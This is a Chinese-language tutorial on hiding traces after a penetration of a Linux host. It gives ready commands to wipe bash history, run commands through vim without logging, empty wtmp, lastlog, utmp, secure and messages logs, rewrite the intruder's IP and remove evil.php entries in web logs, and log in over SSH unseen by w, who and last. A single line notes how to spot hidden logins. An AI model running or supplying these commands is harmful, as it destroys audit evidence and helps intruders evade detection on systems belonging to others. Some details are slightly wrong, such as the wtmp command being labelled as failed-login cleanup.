渗透过后需要清除部分操作记录,本文总结一些linux清除日志或隐藏的相关的操作
1.清除历史命令
删除部分不想被保存的历史命令
vim /root/.bash_history
清除当前用户的全部history命令记录(一般不推荐,痕迹很明显了)
history -c
2.在vim中执行清除命令,在vim中可以执行系统命令而不被history记录,通过vim执行清除历史记录命令
首先查看vim的操作历史
:history
将vim操作记录清零
:set history=0
再次查看历史命令就查不到了
执行系统命令,在:!之后加上命令,比如ls,cd等,不会被记录到
:!pwd
在vim中使用分屏功能,清理文件即可
:vsp /root/.bash_history
3.列出部分系统日志文件
/var/log/btmp 记录所有登录失败信息,使用lastb命令查看
/var/log/lastlog 记录系统中所有用户最后一次登录时间的日志,使用lastlog命令查看
/var/log/wtmp 记录所有用户的登录、注销信息,使用last命令查看
/var/log/utmp 记录当前已经登录的用户信息,使用w,who,users等命令查看
/var/log/secure 记录与安全相关的日志信息
/var/log/message 记录系统启动后的信息和错误日志
清理登录系统失败的记录
echo > /var/log/wtmp
再次查看上次登录信息
lastb
部分清除命令
清理相关日志信息
清除用户最后一次登录时间:echo > /var/log/lastlog #lastlog命令
清除当前登录用户的信息:echo > /var/log/utmp #使用w,who,users等命令
清除安全日志记录:cat /dev/null > /var/log/secure
清除系统日志记录:cat /dev/null > /var/log/message
4.删除/替换部分日志
删除所有匹配到字符串的行,比如以当天日期或者自己的登录IP
sed -i '/自己的ip/'d /var/log/messages
全局替换登录IP地址
sed -i 's/192.168.166.85/192.168.1.1/g' secure
清除web入侵痕迹
直接替换日志ip地址
sed -i 's/192.168.166.85/192.168.1.1/g' access.log
#清除部分相关日志
grep -v 排除某些字段,然后再覆盖原来的日志文件
cat /var/log/nginx/access.log | grep -v evil.php > tmp.log
#再把修改过的日志覆盖到原日志文件
cat tmp.log > /var/log/nginx/access.log/
5.隐藏远程SSH登录记录
隐身登录系统,不会被w、who、last等指令检测到。
ssh -T root@192.168.0.1 /bin/bash -i
-T表示不分配伪终端
如何发现隐藏的的登录
ps -ef|grep ssh
或者
lsof -i:22
不记录ssh公钥在本地.ssh目录中
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i